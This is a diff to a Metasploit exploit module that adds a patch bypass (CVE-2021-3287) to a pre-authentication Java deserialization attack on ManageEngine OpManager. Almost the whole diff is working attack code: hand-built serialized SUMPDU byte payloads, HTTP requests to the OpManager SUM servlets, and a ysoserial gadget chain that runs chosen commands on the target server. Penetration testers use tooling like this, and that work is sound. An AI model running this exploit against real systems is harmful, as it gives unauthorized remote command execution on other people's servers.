diff --git a/modules/exploits/multi/http/opmanager_sumpdu_deserialization.rb b/modules/exploits/multi/http/opmanager_sumpdu_deserialization.rb index 8fd8bc4f5e23..c524d1d76700 100644 --- a/modules/exploits/multi/http/opmanager_sumpdu_deserialization.rb +++ b/modules/exploits/multi/http/opmanager_sumpdu_deserialization.rb @@ -10,6 +10,11 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::CmdStager include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Powershell + include Rex::Java + + JAVA_SERIALIZED_STRING = [ Serialization::TC_STRING, 0 ].pack('Cn') + JAVA_SERIALIZED_STRING_ARRAY = "\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e"\ + "\x53\x74\x72\x69\x6e\x67\x3b\xad\xd2\x56\xe7\xe9\x1d\x7b\x47\x02\x00\x00\x78\x70\x00\x00\x00\x00".b def initialize(info = {}) super( @@ -33,7 +38,7 @@ def initialize(info = {}) 'Platform' => [ 'win', 'linux', 'python', 'unix' ], 'References' => [ [ 'CVE', '2020-28653' ], # original CVE - # [ 'CVE', '2021-3287' ], # patch bypass + [ 'CVE', '2021-3287' ], # patch bypass [ 'URL', 'https://haxolot.com/posts/2021/manageengine_opmanager_pre_auth_rce/' ] ], 'Privileged' => true, @@ -125,8 +130,7 @@ def check res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/servlets/com.adventnet.tools.sum.transport.SUMHandShakeServlet'), - # Serialized int 1002 - 'data' => "\xac\xed\x00\x05\x77\x04\x00\x00\x03\xea".b + 'data' => build_java_serialized_int(1002) }) return Exploit::CheckCode::Unknown unless res # the patched version will respond back with 200 OK and no data in the response body @@ -151,14 +155,15 @@ def exploit 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/servlets/com.adventnet.tools.sum.transport.SUMHandShakeServlet'), 'keep_cookies' => true, - # Serialized int 1002 - 'data' => "\xac\xed\x00\x05\x77\x04\x00\x00\x03\xea".b + 'data' => build_java_serialized_int(1002) }) unless res&.code == 200 fail_with(Failure::UnexpectedReply, 'Failed to setup the HTTP session') end print_status('The request handler has been associated with the HTTP session') + send_sumpdu(build_sumpdu(data: build_java_serialized_int(0))) + # Step 3: Exploit the deserialization vulnerability to run commands case target['Type'] when :nix_dropper @@ -176,9 +181,42 @@ def exploit end end + def build_java_serialized_int(int) + stream = Serialization::Model::Stream.new + stream.contents << Serialization::Model::BlockData.new(stream, [ int ].pack('N')) + stream.encode + end + + def build_sumpdu(data: '') + # build a serialized SUMPDU object with a custom data block + sumpdu = "\xac\xed\x00\x05\x73\x72\x00\x27\x63\x6f\x6d\x2e\x61\x64\x76\x65".b + sumpdu << "\x6e\x74\x6e\x65\x74\x2e\x74\x6f\x6f\x6c\x73\x2e\x73\x75\x6d\x2e".b + sumpdu << "\x70\x72\x6f\x74\x6f\x63\x6f\x6c\x2e\x53\x55\x4d\x50\x44\x55\x24".b + sumpdu << "\x29\xfc\x8a\x86\x1b\xfd\xed\x03\x00\x03\x5b\x00\x04\x64\x61\x74".b + sumpdu << "\x61\x74\x00\x02\x5b\x42\x4c\x00\x02\x69\x64\x74\x00\x12\x4c\x6a".b + sumpdu << "\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b".b + sumpdu << "\x4c\x00\x08\x75\x6e\x69\x71\x75\x65\x49\x44\x71\x00\x7e\x00\x02".b + sumpdu << "\x78\x70\x7a" + [ 0x14 + data.length ].pack('N') + sumpdu << "\x00\x0c\x4f\x50\x45\x4e\x5f\x53\x45\x53\x53\x49\x4f\x4e\x00\x00".b + sumpdu << "\x00\x00" + sumpdu << [ data.length ].pack('n') + data + sumpdu << "\x78".b + sumpdu + end + + def send_sumpdu(sumpdu) + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, '/servlets/com.adventnet.tools.sum.transport.SUMCommunicationServlet'), + 'keep_cookies' => true, + 'data' => [ sumpdu.length ].pack('N') + sumpdu + }) + res + end + def execute_command(cmd, _opts = {}) - # the frohoff/ysoserial#168 gadget chain is a derivative of CommonsBeanutils1 that has been updated to remove the - # dependency on the commons-collections library making it usable in this context + # An executable needs to be prefixed to the command to make it compatible with the way in which the gadget chain + # will execute it. case target['Platform'] when 'python' cmd.prepend('python -c ') @@ -190,14 +228,19 @@ def execute_command(cmd, _opts = {}) end vprint_status("Executing command: #{cmd}") + # the frohoff/ysoserial#168 gadget chain is a derivative of CommonsBeanutils1 that has been updated to remove the + # dependency on the commons-collections library making it usable in this context java_payload = Msf::Util::JavaDeserialization.ysoserial_payload('frohoff/ysoserial#168', cmd) - res = send_request_cgi({ - 'method' => 'POST', - 'uri' => normalize_uri(target_uri.path, '/servlets/com.adventnet.tools.sum.transport.SUMCommunicationServlet'), - 'keep_cookies' => true, - 'data' => [ java_payload.length ].pack('N') + java_payload - }) + pdu_data = build_java_serialized_int(2) + pdu_data << JAVA_SERIALIZED_STRING + pdu_data << JAVA_SERIALIZED_STRING + pdu_data << JAVA_SERIALIZED_STRING + pdu_data << JAVA_SERIALIZED_STRING_ARRAY + pdu_data << Serialization::TC_RESET + pdu_data << java_payload.delete_prefix("\xac\xed\x00\x05".b) + + res = send_sumpdu(build_sumpdu(data: pdu_data)) fail_with(Failure::UnexpectedReply, 'Failed to execute the command') unless res&.code == 200 end end